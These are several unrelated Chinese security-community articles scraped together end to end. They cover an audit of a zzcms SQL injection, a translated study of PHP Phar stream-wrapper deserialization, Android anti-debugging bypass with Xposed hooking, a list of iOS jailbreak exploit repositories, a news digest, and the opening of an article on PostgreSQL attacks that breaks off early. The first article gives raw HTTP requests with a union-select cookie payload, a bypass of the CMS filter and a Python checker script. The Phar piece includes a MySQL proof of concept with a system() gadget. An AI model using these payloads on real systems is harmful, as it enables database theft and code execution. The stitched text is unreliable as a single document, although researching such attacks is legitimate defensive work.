查询过后发现可以成功执行。接下来在思考之前构造的sql语句可以成功执行，但是不知道这个这个查询的结果在哪显示。相对来说，不是很完美，接下来就要去寻找，这个sql语句查询的结果在哪里，通过审计得知他最后会出现在一个<option></option>标签里，这里岂不是很完美，及查询了结果又把结果打印出来。
这里大概解释一下这里的执行过程，首先通过判断$_COOKIE["askbigclassid"]的值是否为空，如果不等于空
会执行$sql所定义的sql语句。query()这个函数的作用是执行当前的sql语句，假设之前通过各种绕过来到了这个地方这里执行的sql语句会是
$sql = "select * from zzcms_askclass where parentid=-1 union select database(),2,3,4,5,6,7,8,9,10,11 order by xuhao asc";
这里就会去执行这个查询语句，是不是就完成了一次sql查询，然后通过fetch_array()这个函数将所查询的结果遍历出来最后打印出classid这个字段的内容。现在开始去想，我已经知道了这个漏洞存在，但是要怎么执行才能触发这个漏洞，这里也就是代码审计的魅力，通过观察上下文发现，这个可能存在漏洞的地方是在add()这个函数中，那现在的思路，我是不是只需要去调用这个函数，并且将$_COOKIE["askbigclassid"]这个地方的值赋值为查询的sql语句也就是$askbigclass
= -1 union select 1,2,3,4,5,6,7,8,9,10,11这样就可以执行攻击，接下来就去看在什么时候去调用这个add()函数
通过审计发现在admin/ask.php文件中第53行有一个调用add()函数的东西，这里是不是就可以通过构造payload来进行一波测试
GET /zzcms/admin/ask.php?do=add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: askbigclassid=-1 union select database(),2,3,4,5,6,7,8,9,10,11
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
构造请求包发包结果有waf，发现得绕waf
因为不管什么cms
还是什么东西他的本质上就是代码，所打印的东西大概率都是代码中所有的字段，不可能无中生有，此时，我们就可以通过搜索这个提示字段找到他所在的代码，在进行审计，看是否可以进行其他绕过。
通过搜索我们发现在inc/stopsqlin.php
存在这个字符串，大概浏览了一下这个可能就是此cms所自带的一个waf这里开始审计看是否可以绕过
这里审计得知在
if($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
$_COOKIE =zc_check($_COOKIE);
@extract($_POST);
@extract($_GET);
}
这里是一段php代码解释一下，首先通过if判断$_REQUSET这个变量是否为空
如果不为空执行下面的语句，这里是一个全局变量检查，通过zc_check()这个函数将所有传入的GET和POST还有cookie都进行检测看起是否有危险字符因为在之前payload的包中使用cookie传的sql语句，这里也就是为什么他会显示有select危险字符不让执行的原因，extract()这个函数可以在上下文中产生一个新的变量，在赋值给一个值，这里可以理解为在上下文中定义一个自己的变量。下面是extract()这个函数例子
<?php$a = "Original";$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");extract($my_array);echo "\$a = $a; \$b = $b; \$c = $c";?>
结果是 $a=cat $b=DOg $c=Horse
之前说到首先传入的参数会进入zc_check()这个函数中进行过滤，这里对zc_check()函数进行分析，
function zc_check($string){ //传入字符串，就是之前get或者post或者cookie传入的值
if(!is_array($string)){ //判断字符串是否为空
if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc()
return htmlspecialchars(trim($string)); //这里可以直接忽略在高版本的php中这个函数始终未FALSE
}else{
return addslashes(htmlspecialchars(trim($string)));
}//通过htmlspecialchars函数对字符穿进行html实体化，来过滤xss 在通过addslashes这个函数来过滤sql注入
}
foreach($string as $k => $v) $string[$k] = zc_check($v);
return $string;
}
这里是addslashes函数的解释
<?php
$str = addslashes('Shanghai is the "biggest" city in China.');
echo($str);
?>
结果 Shanghai is the \"biggest\" city in China.
对 单引号（'） 双引号（"） 反斜杠（\） 都会进行转义来防止sql注入，然后通过foreach()函数进行对字符串的提取
也就是将，假设现在有一个这样的GET请求?do=add 他的作用就是将do变成$do add变成字符串 $do=add
,然后对add在进行一般过滤，然后返回最后的字符串结果。
然后通过$_url来获取当前所请求的路径，在对当前的路径通过stopsqlin()函数进行检测过滤
这里先分析下stopsqllin()函数
function stopsqlin($str){
if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
$str=strtolower($str);//否则过过滤不全
$sql_injdata = "";
$sql_injdata= $sql_injdata."|".stopwords;
$sql_injdata=CutFenGeXian($sql_injdata,"|");
$sql_inj = explode("|",$sql_injdata);
for ($i=0; $i< count($sql_inj);$i++){
if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");}
}
}
}
define('stopwords','select|update|and|or|delete|insert|truncate|char|into|iframe|script|') ;//网站禁用关键字
首先将|这个符合和他所定义的字符串连接，通过|为标志将他的字符串打散，变成单个字符串然后与GET和COOKIE和POST
传进去的参数进行判断如果有这些危险字符将停止程序运行。
这里的strpos()函数的作用是strpos($r_url,"template.php")在$_url中找siteconfig.php这个字符串如果找到就返回第一次出现的位置，没有返回0
if (checksqlin=="Yes") {
if (strpos($r_url,"siteconfig.php")==0
&& strpos($r_url,"label")==0
&& strpos($r_url,"template.php")==0) {
foreach ($_GET as $get_key=>$get_var){ stopsqlin($get_var);} /* 过滤所有GET过来的变量 */
foreach ($_POST as $post_key=>$post_var){ stopsqlin($post_var); }/* 过滤所有POST过来的变量 */
foreach ($_COOKIE as $cookie_key=>$cookie_var){ stopsqlin($cookie_var); }/* 过滤所有COOKIE过来的变量 */
foreach ($_REQUEST as $request_key=>$request_var){ stopsqlin($request_var); }/* 过滤所有request过来的变量 */
}
}
?>
这里仔细看如果满足 if
的三个条件才会进入下面的stoplin()函数进行判断那么我这里是不是可以让他不满足这个if语句是不是就可以不去执行这个stopsqlin()这个函数，那么是不是就可以绕过sql注入检测，也就是网站自带的waf
并且配合之前的extract()这个函数是不是就可以达到一个攻击效果了
strpos($r_url,"siteconfig.php")==0
strpos($r_url,"label")==0
strpos($r_url,"template.php")==0)
//这里就是三个判断点，也就是绕过waf的关键点
先分析一次正常的请求过程
首先GET和COOKIE参数 传入zc_check()中过滤，然后获得当前请求的url，通过判断，传入到stopsqlin()函数
进行检测，如果有危险字符就停止，否则就执行。
在分析一次非正常请求
首先GET和COOKIE参数
传入zc_check()中过滤，然后获得当前请求的url，通过判断，判断失败直接跳过stopsqlin()这个函数，也就不进行对危险字符检查，从而绕过这个waf
这里开始对以上思路开始测试
## 二、构造payload
GET /zzcms/admin/ask.php?do=add&s=siteconfig.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: askbigclassid=-1 union select database(),2,3,4,5,6,7,8,9,10,11
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
## 三、漏洞验证脚本
# -*- coding: utf-8 -*- import requests
import re
from bs4 import BeautifulSoup
from colorama import init,Fore,Back,Style
init(autoreset=True)
print(Fore.RED+"""
[[--------------------------------------------------------------------------------------------------------------]]
██████ ██ ██ ██████ ███████ ████████ ██████ ███ ██ ███████ ██ ██ █████ ██████ ██ ██ ███████ ]]
██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ]]
██ ███ ███████ ██ ██ ███████ ██ ██ ██ ██ ██ ██ █████ ███████ ███████ ██ █████ █████ ]]
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ]]
██████ ██ ██ ██████ ███████ ██ ██████ ██ ████ ███████ ██ ██ ██ ██ ██████ ██ ██ ███████ ]]
Author:GhostOneHack ]]
[[--------------------------------------------------------------------------------------------------------------]]
""")
geturl = input("请输入网址：")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36",
}
url = geturl+"/admin/ask.php?do=add&s=siteconfig.php"
cookie = {"askbigclassid":"-1 union select user(),2,3,4,5,6,7,8,9,10,11"}
try:
Geturl = requests.get(url=url,cookies=cookie,headers=headers)
soup = BeautifulSoup(Geturl.text,"lxml")
test = soup.find_all("option")[2]
test = str(test)
jiansuo = re.search(r"<option value=(.*)>3</option>",test).group(1)
if jiansuo == '\"root@localhost\"' :
print("存在此sql注入漏洞")
except:
print("不存在此漏洞")
## 四、渗透测试的一些思考
一、此次代码审计明白了一些黑盒测试的攻击手段，以及一些攻击思路。
二、学会代码审计会极大的帮助对于漏洞的理解。
三、所谓的0day也就是通过代码审计审计出来，进行代码审计的同时画一些思维导图比较好理解一点。
四、代码审计时要注意哪些变量可控，忽略无用的代码，进行逆向回退，从可能存在漏洞的地方进行回溯审计。
鸣谢
[https://www.bilibili.com/video/BV1Cb4y1o7i7?from=search&seid=17125677856283527853&spm_id_from=333.337.0.0](https://www.bilibili.com/video/BV1Cb4y1o7i7?from=search&seid=17125677856283527853&spm_id_from=333.337.0.0) | 社区文章 |
# Phar与Stream Wrapper造成PHP RCE的深入挖掘
##### 译文声明
本文是翻译文章，文章原作者 zsx，文章来源：zsxsoft.com
原文地址：<https://blog.zsxsoft.com/post/38>
译文仅供参考，具体内容表达以及含义原文为准。
> 今年的HITCON打完了，沉迷写前端搞Nextjs骚操作的我成功爆0（雾），不想写前端了.jpg。
>
> 先跑个题。
>
> HITCON 2016上，orange 出了一道PHP反序列化。
>
> HITCON 2017上，orange 出了一道Phar + PHP反序列化。
>
> HITCON 2018上，orange 出了一道file_get_contents + Phar + PHP反序列化。
>
> 让我们期待HITCON 2019的操作（雾。
## Phar RCE
今年HITCON上，baby cake这一题，涉及到了今年BlackHat大会上的Sam Thomas分享的File Operation Induced
Unserialization via the “phar://” Stream
Wrapper这个议题，见：<https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf>
。它的主要内容是，通过phar://协议对一个phar文件进行文件操作，如file_get_contents，就可以触发反序列化，从而达成RCE的效果。
在文章开头部分，让我先对phar反序列化做一些小小的分析。我们直接阅读PHP源码。在
[phar.c#L618](https://github.com/php/php-src/blob/29b56a878aa22310d645c3266110417e07ebe683/ext/phar/phar.c#L618)
处，其调用了php_var_unserialize。
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {
因此可以构造一个特殊的phar包，使得攻击代码能够被反序列化，从而构造一个POP链。这一部分已经太常见了，CTF比赛中都出烂了，没什么值得继续讨论的。值得关注的是到底为什么file_get_contents能够实现RCE。
## Stream API
因此，为解决这个问题，我们需要首先阅读此函数的源码。大概在此处：<https://github.com/php/php-src/blob/PHP-7.2.11/ext/standard/file.c#L548> ，重点关注此行：
stream = php_stream_open_wrapper_ex(filename, "rb",
(use_include_path ? USE_PATH : 0) | REPORT_ERRORS,
NULL, context);
可以注意，其使用的是php_stream系列API来打开一个文件。阅读PHP的这篇文档：[Streams API for PHP Extension
Authors](https://secure.php.net/manual/zh/internals2.ze1.streams.php)，可知，Stream
API是PHP中一种统一的处理文件的方法，并且其被设计为可扩展的，允许任意扩展作者使用。而本次事件的主角，也就是phar这个扩展，其就注册了phar://这个stream
wrapper。可以使用stream_get_wrapper看到系统内注册了哪一些wrapper，但其余的没什么值得关注的。
php > var_dump(stream_get_wrappers());
array(12) {
[0]=>
string(5) "https"
[1]=>
string(4) "ftps"
[2]=>
string(13) "compress.zlib"
[3]=>
string(14) "compress.bzip2"
[4]=>
string(3) "php"
[5]=>
string(4) "file"
[6]=>
string(4) "glob"
[7]=>
string(4) "data"
[8]=>
string(4) "http"
[9]=>
string(3) "ftp"
[10]=>
string(4) "phar"
[11]=>
string(3) "zip"
}
那么，注册一个 stream wrapper，能实现什么功能呢？很容易就能找到其定义：<https://github.com/php/php-src/blob/8d3f8ca12a0b00f2a74a27424790222536235502/main/php_streams.h#L132>
typedef struct _php_stream_wrapper_ops {
/* open/create a wrapped stream */
php_stream *(*stream_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode,
int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
/* close/destroy a wrapped stream */
int (*stream_closer)(php_stream_wrapper *wrapper, php_stream *stream);
/* stat a wrapped stream */
int (*stream_stat)(php_stream_wrapper *wrapper, php_stream *stream, php_stream_statbuf *ssb);
/* stat a URL */
int (*url_stat)(php_stream_wrapper *wrapper, const char *url, int flags, php_stream_statbuf *ssb, php_stream_context *context);
/* open a "directory" stream */
php_stream *(*dir_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode,
int options, zend_string **opened_path, php_stream_context *context STREAMS_DC);
const char *label;
/* delete a file */
int (*unlink)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context);
/* rename a file */
int (*rename)(php_stream_wrapper *wrapper, const char *url_from, const char *url_to, int options, php_stream_context *context);
/* Create/Remove directory */
int (*stream_mkdir)(php_stream_wrapper *wrapper, const char *url, int mode, int options, php_stream_context *context);
int (*stream_rmdir)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context);
/* Metadata handling */
int (*stream_metadata)(php_stream_wrapper *wrapper, const char *url, int options, void *value, php_stream_context *context);
} php_stream_wrapper_ops;
因此，我们发现，一个 stream
wrapper，它支持以下功能：打开文件（夹）、删除文件（夹）、重命名文件（夹），以及获取文件的meta。我们很容易就能断定，类似unlink等函数也是同样通过这个
streams api 进行操作。
Sam Thomas 的 pdf 指出
> This is true for both direct file operations (such as
> “file_exists”) and indirect operations such as those that occur during
> external entity processing
> within XML (i.e. when an XXE vulnerability is being exploited).
我们通过试验也很容易发现，类似unlink等函数也均是可以使用的。
[](https://xzfile.aliyuncs.com/media/upload/picture/20181022222243-f056a53e-d605-1.png)
知道创宇404实验室的研究员 seaii 更为我们指出了所有文件函数均可使用（<https://paper.seebug.org/680/>）：
* fileatime / filectime / filemtime
* stat / fileinode / fileowner / filegroup / fileperms
* file / file_get_contents / readfile / `fopen“
* file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
* parse_ini_file
* unlink
* copy
[](https://xzfile.aliyuncs.com/media/upload/picture/20181022222243-f07f25fe-d605-1.png)
仅仅是知道一些受影响的函数，就够了吗？为什么就可以使用了呢？
## 寻找受害者
当然不够。我们需要先找到其原理，然后往下深入挖掘。
先看file_get_contents的代码。其调用了
stream = php_stream_open_wrapper_ex(filename, "rb" ....);
这么个函数。
再看unlink的代码，其调用了
wrapper = php_stream_locate_url_wrapper(filename, NULL, 0);
这么个函数。
从php_stream_open_wrapper_ex的[实现](https://github.com/php/php-src/blob/8d3f8ca12a0b00f2a74a27424790222536235502/main/streams/streams.c#L2010)，可以看到，其也调用了php_stream_locate_url_wrapper
。这个函数的作用是通过url来找到对应的wrapper。我们可以看到，phar组件注册了phar://这个wrapper，
<https://github.com/php/php-src/blob/67b4c3379a1c7f8a34522972c9cb3adf3776bc4a/ext/phar/stream.c>
其定义如下：
const php_stream_wrapper_ops phar_stream_wops = {
phar_wrapper_open_url,
NULL, /* phar_wrapper_close */
NULL, /* phar_wrapper_stat, */
phar_wrapper_stat, /* stat_url */
phar_wrapper_open_dir, /* opendir */
"phar",
phar_wrapper_unlink, /* unlink */
phar_wrapper_rename, /* rename */
phar_wrapper_mkdir, /* create directory */
phar_wrapper_rmdir, /* remove directory */
NULL
};
接着，让我们翻这几个函数的实现，会发现它们都调用了phar_parse_url，这个函数再调用phar_open_or_create_filename ->
phar_create_or_parse_filename -> phar_open_from_fp ->phar_parse_pharfile ->
phar_parse_metadata ->
phar_var_unserialize。因此，明面上来看，所有文件函数，均可以触发此phar漏洞，因为它们都直接或间接地调用了这个wrapper。
只是这些文件函数，就够了吗？
当然不够。这是一个所有的和IO有关的函数，都可能触发的问题。
前面我已经指出，它们都有一个共同特征，就是调用了php_stream_locate_url_wrapper。但是这个不那么好用，换php_stream_open_wrapper更合适点。让我们搜索一下PHP源代码吧，
我们很快就能发现，操作文件的touch，也是能触发它的。不看文件了，我们假设文件全部都能用。
我们会惊讶（一点都不）地发现：
### exif
* exif_thumbnail
* exif_imagetype
### gd
* imageloadfont
* imagecreatefrom***
### hash
* hash_hmac_file
* hash_file
* hash_update_file
* md5_file
* sha1_file
### file / url
* get_meta_tags
* get_headers
### standard
* getimagesize
* getimagesizefromstring
## zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('<phar://test.phar/test>');
### Bzip / Gzip
这，够了吗？non non哒哟！
如果题目限制了，phar://不能出现在头几个字符怎么办？请欣赏你船未见过的船新操作。
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
[](https://xzfile.aliyuncs.com/media/upload/picture/20181022222243-f0d95948-d605-1.png)
当然，它同样适用于compress.zlib://。
### Postgres
再来个数据库吧！
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', '<phar://test.phar/aa>');
当然，pgsqlCopyToFile和pg_trace同样也是能使用的，只是它们需要开启phar的写功能。
### MySQL
还有什么骚操作呢？
……MySQL？
走你！
我们注意到，LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper. 让我们测试一下。
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'<phar://test.phar/test>\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
再配置一下mysqld。
[mysqld]
local-infile=1
secure_file_priv=""
……然后，走你！
[](https://xzfile.aliyuncs.com/media/upload/picture/20181022222244-f11ee1ca-d605-1.png)
这就是我想要看到的舞台！——长颈鹿
很可惜，这不是默认配置；但是，嗯，很有意思。
我相信，PHP代码内部还有相当多的php_stream_open_wrapper等待挖掘，这只是关于stream wrapper利用的一小步。 | 社区文章 |
# so层调试深入及xposed入门使用
## so层反调试的绕过
本文参考链接及附件地址：<https://www.52pojie.cn/thread-749955-1-1.html>
首先我们回顾一下我们在调试的时候会有那些特征
1. 首先是端口，我们ida远程调试的时候利用的是`23946`
2. 其次调试过程中进程的`Traceid`会非0
3. 接着就是使用ida调试时会启动*_server文件可以对这个文件进程名进行检测，判断是否被调试。
### demo静态分析
这里尝试用安卓分析的神器jeb，就是价格贵了点。。
#### java层分析
可以看见这里引用了so层的函数，`checkport`从这里看来可能会有检查在这里。
#### so层分析
##### checkport函数查找
对于so层的分析，思路一般是查看java层引用的函数`checkport`，但是查看会发现这里并没有，所以可能是动态注册，面对这样的问题可以查看`.data.rel.ro.local`一般动态注册的函数会在其中进行一个注册。
> 对于如何找到这个段：view->open subview->segments
> 这里能看见时对ida的port进行检测
##### .init_array段
这个段会先于JNI_Onload函数先执行，很多的反调试都会设置在这里。思路一样，查看这个段。
> 可以发现这里新建了一个进程且，利用进程执行了查看了程序的TraceId是否为0，如果不为0即退出。
##### JNI_Onload
这里也是反调试的重点如下图
> 可以发现这里检查了*_server的启动情况找到即退出程序
### 反调试思路
#### 端口检查
针对端口只要更改attach的端口即可。这里就不贴图了
#### 对于新建进程的检查&*_server检查
对判断语句进行一个patch即可，我这里打开的是x86所以直接jz改成jnz即可，利用的keypatch
## xposed使用
因为版本的不同踩了很多坑最后才成功了，网上都是针对AS2018年上半年的版本的，更新贼多的AS变化多到我心力憔悴的找方法。。
### xposed环境及安装
1. 网易mumu模拟机安装xposed4.4.4以上版本，安装过程中会有产生一些问题我遇到的问题具体提示`can't executable`(具体的指令忘记了。。)大概解决的方法就是关闭==应用兼容==。
2. 夜神模拟器，可以直接安装安装的版本为xposed4.4.4一下的版本，且这个环境更加适合新手入门
3. 真机（由于本人资金短缺没有尝试。。）
### 简单的hook模块的编写及demo演示
对于模块编写我的态度是，如果只是尝试那这个可以不用学习，但是如果想深入对其中app的破解，脱壳等很感兴趣，学习如何自己编写是很重要的（一个菜鸡的理解。。
#### demo
首先写一个我们我们需要的去hook的demo，当然是越简单越好，百度了一下网上的资源基本是针对手机的imei值进行一个hook。那我们就动手做一个。
package com.example.test;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.widget.Button;
import android.view.View;
import android.telephony.TelephonyManager;
import android.content.Context;
import android.util.Log;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button button = (Button)findViewById(R.id.getIMEI);
button.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v) {
TelephonyManager tm = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
try {
Log.d("XLZH", "get imei " + tm.getDeviceId());
Log.d("XLZH", "get imsi " + tm.getSubscriberId());
}catch (Exception e) {
Log.d("XLZH", e.getMessage());
e.printStackTrace();
}
}
});
}
}
这是`MainActivity.java`中的代码，因为改文章定位在小白入门，其中`Button button
=(Button)findViewById(R.id.getIMEI)`这句话可能有些小白新建工程时候会报错，解释一下这里是在`activity_main.xml`中新建了一个Buntton按钮且命名为getIMEI。
> 效果图如下(button被我画的有点歪)：
#### xposed模块编程基础知识
==依赖库==编程过程中需要用到很多封装好的对象方法，这里xposed提供了`XposedBridgeApi-54.jar`（更高版本的有其对应的89的包）
==入口函数==都会有一个入口函数，且其模版基本不会更改当然xxx处是可以任意更改。
public class xxx implements IXposedHookLoadPackage {
public void handleLoadPackage(LoadPackageParam lpparam) throws Throwable {
}
}
##### 步骤详解
###### 添加api
首先新建一个项目最好是空项目吧然后步骤是
> 将`XposedBridgeApi-54.jar`包放入lib文件夹->右键选择add as library
##### 更改app目录下的AndroidMainfest.xml文件及build.gradle文件
> 在AndroidMainfest.xml中的application中添加如下字段：
<meta-data
android:name="xposedmodule"
android:value="true" />
<meta-data
android:name="xposeddescription"
android:value="模块描述" />
<meta-data
android:name="xposedminversion"
android:value="54" />
>
> 在build.gradle文件中查看一下libc文件的导入使用的申明==AS2+==版本需要把compile指令换成为provided。==AS3+==provided指令已在2018年底被compileOnly所代替。同时要把最上面一行更改了provide
##### 编写xposed模版
先直接贴出代码,里面已经详细的写了注释。然后build接着安装启用然后重启手机
#### 运行图片
首先贴出demo正常运行时候的图片
再贴出一张hook之后运行的图片 | 社区文章 |
作者：[蒸米spark](http://weibo.com/zhengmin1989 "蒸米spark")
项目地址：<https://github.com/zhengmin1989/GreatiOSJailbreakMaterial>
#### Projects:
iOS 8.4.1 Yalu Open Source Jailbreak Project: <https://github.com/kpwn/yalu>
OS-X-10.11.6-Exp-via-PEGASUS:
<https://github.com/zhengmin1989/OS-X-10.11.6-Exp-via-PEGASUS>
iOS 9.3.* Trident exp: <https://github.com/benjamin-42/Trident>
iOS 10.1.1 mach_portal incomplete jailbreak:
<https://bugs.chromium.org/p/project-zero/issues/detail?id=965#c2>
iOS 10.2 jailbreak source code: <https://github.com/kpwn/yalu102>
Local Privilege Escalation for macOS 10.12.2 and XNU port Feng Shui:
<https://github.com/zhengmin1989/macOS-10.12.2-Exp-via-mach_voucher>
Remotely Compromising iOS via Wi-Fi and Escaping the Sandbox:
<https://www.youtube.com/watch?v=bP5VP7vLLKo>
Pwn2Own 2017 Safari sandbox: <https://github.com/maximehip/Safari-iOS10.3.2-macOS-10.12.4-exploit-Bugs>
Live kernel introspection on iOS: <https://bazad.github.io/2017/09/live-kernel-introspection-ios/>
iOS 11.1.2 IOSurfaceRootUserClient double free to tfp0:
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1417#c3>
Keep updating...please follow, thanks.
* * * | 社区文章 |
# 3月7日安全热点 – 微软发布关键USB驱动更新/Nike泄露敏感信息
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
微软发布修复关键USB驱动问题的KB4090913更新
微软昨天发布了一个Windows更新，以修复2018年2月补丁周二安全更新中引入的USB设备驱动程序问题。
<https://www.bleepingcomputer.com/news/microsoft/microsoft-releases-kb4090913-update-to-fix-critical-usb-driver-issue/>
Nike网站漏洞暴露敏感的服务器数据
<http://www.zdnet.com/article/nike-website-flaw-exposed-access-to-sensitive-server-data/>
GandCrab勒索软件V2版本发布，具有新的.Crab扩展
<https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-version-2-released-with-new-crab-extension-and-other-changes/>
ComboJack恶意软件通过更改Windows剪贴板窃取加密货币和付款
> [ComboJack Malware alters Windows clipboards to steal cryptocurrencies and
> payments](http://securityaffairs.co/wordpress/69905/malware/combojack-> malware.html)
> [Cryptocurrency-stealing malware relies on victims copy-pasting wallet
> info](https://www.helpnetsecurity.com/2018/03/06/cryptocurrency-stealing-> malware/)
Gozi ISFB在2018年保持活跃，利用“黑云”分销僵尸网络
<http://blog.talosintelligence.com/2018/03/gozi-isfb-remains-active-in-2018.html>
严重漏洞影响近一半的互联网电子邮件服务器
<https://www.bleepingcomputer.com/news/security/vulnerability-affects-half-of-the-internets-email-servers/>
代码审查最佳实践
<https://medium.com/@palantir/code-review-best-practices-19e02780015f>
网络犯罪最危险的来源地图
> [A Map of the Most Dangerous Sources of
> Cybercrime](https://securingtomorrow.mcafee.com/business/map-dangerous-> sources-cybercrime/)
思科年度安全报告(2018)
<https://xianzhi.aliyun.com/forum/topic/2105?from=timeline>
恶意软件“TSCookie”
<http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html>
## 技术类
Password Filter DLL在渗透测试中的应用
<https://3gstudent.github.io/3gstudent.github.io/Password-Filter-DLL%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84%E5%BA%94%E7%94%A8/>
反欺诈、身份自治、IoT：2018年将成为区块链应用元年
<http://www.aqniu.com/news-views/31868.html>
SQL注入ByPass的一些小技巧
<https://www.secpulse.com/archives/68991.html>
以太坊区块链网络的Eclipse攻击详解
<http://www.4hou.com/technology/10570.html>
VMAttack: Deobfuscating Virtualization-Based Packed Binaries
<https://www1.cs.fau.de/filepool/publications/unpacking-dynamic-static.pdf>
机器学习是我们预防网络威胁的最佳武器
<https://securityintelligence.com/machine-learning-is-our-best-weapon-against-spiraling-cyberthreats/>
如何清除window上的RDP连接记录
<https://xianzhi.aliyun.com/forum/topic/2102>
基于Python的自动化代码审计
<https://blog.formsec.cn/2018/02/11/python-audit-auto/media/python_audit.pdf>
区块链安全-DAO攻击事件解析
<http://blog.csdn.net/u011721501/article/details/79450122>
我们如何在瑞士最大的托管服务提供商之一的系统中发现数据库泄漏漏洞
<https://security.infoteam.ch/en/blog/posts/how-we-discovered-a-database-leak-in-one-of-the-biggest-swiss-hosting-provider.html>
Quick Notes on the PSoC
[Quick Notes on the PSoC](https://advancedpersistentjest.com/2018/03/06/quick-notes-on-the-psoc/)
Adapting hashcat for SAP ‘half hashes’
<https://erpscan.com/press-center/blog/adapting-hashcat-for-sap-half-hashes/>
Exim Off-by-one RCE：利用完全缓解绕过的CVE-2018-6789
<https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/>
子域扫描工具
<http://www.berkdusunur.net/2018/03/subdomain-scanner-tool.html?m=1>
Clang控制流程完整性（CFI）绕过技术
<https://github.com/0xcl/clang-cfi-bypass-techniques>
OpticSpy：用于解码光学隐蔽信道传输的数据的工具
<http://www.4hou.com/tools/10583.html> | 社区文章 |
原文：<https://www.imperva.com/blog/2018/03/deep-dive-database-attacks-scarlett-johanssons-picture-used-for-crypto-mining-on-postgre-database/>
**0x00 简介**
* * *
为了给客户数据提供更好的保护，我们开展了一个新的研究项目，项目的重点在于分析和共享针对数据库的各种攻击方法。该项目名为StickyDB，在本系列的第一篇和第二篇文章中，我们已经对该项目的部分成果进行了介绍。下面是这个数据库蜜罐网（图1）的示意图，它可以诱骗攻击者将这些数据库锁定为攻击目标，以便有机会了解他们的攻击活动，这样就可以做到知己知彼，并进一步提升自身的数据防护能力了。
近日，我们检测到了一种针对PostgreSQL服务器的攻击技术。攻击者登录到数据库后，会创建多种payload，并通过将这些二进制文件嵌入到下载的图片中以绕过安全检测，之后，会将payload提取到本地硬盘并触发它们，从而实现远程代码执行。就像我们近期发现的许多攻击一样，攻击者最终目的都是为了利用服务器的计算资源来挖门罗币。顺便说一句，这里的攻击矢量竟然是Scarlett
Johannsson的一张照片。好了，废话少说，下面开始深入探索这种攻击技术！
图1：StickyDB蜜罐网络环境
**0x01 远程代码执行与DAM检测绕过**
* * *
与其他常见数据库一样，PostgreSQL也提供了一个metasploit模块，来简化与操作系统之间的交互。这次检测到的攻击中使用的方法是，在运行时创建payload，然后通过lo_export函数将二进制代码转储到硬盘中。需要注意的是，这个模块发生了一些细微的改动，所以它会将lo_export函数作为记录插入到pg_proc目录中，而不是直接调用它。这是为了绕过一些数据库审计监视（DAM）解决方案，因为这些解决方案会密切监视诸如lo_export这样的特权操作。所以，使用obj6440002537实际上就是间接调用lo_export（图2）。
图2：通过间接调用lo_export绕过安全检测
**0x02 很好，既然控制了数据库，那就让我看看机器上有没有GPU？**
* * *
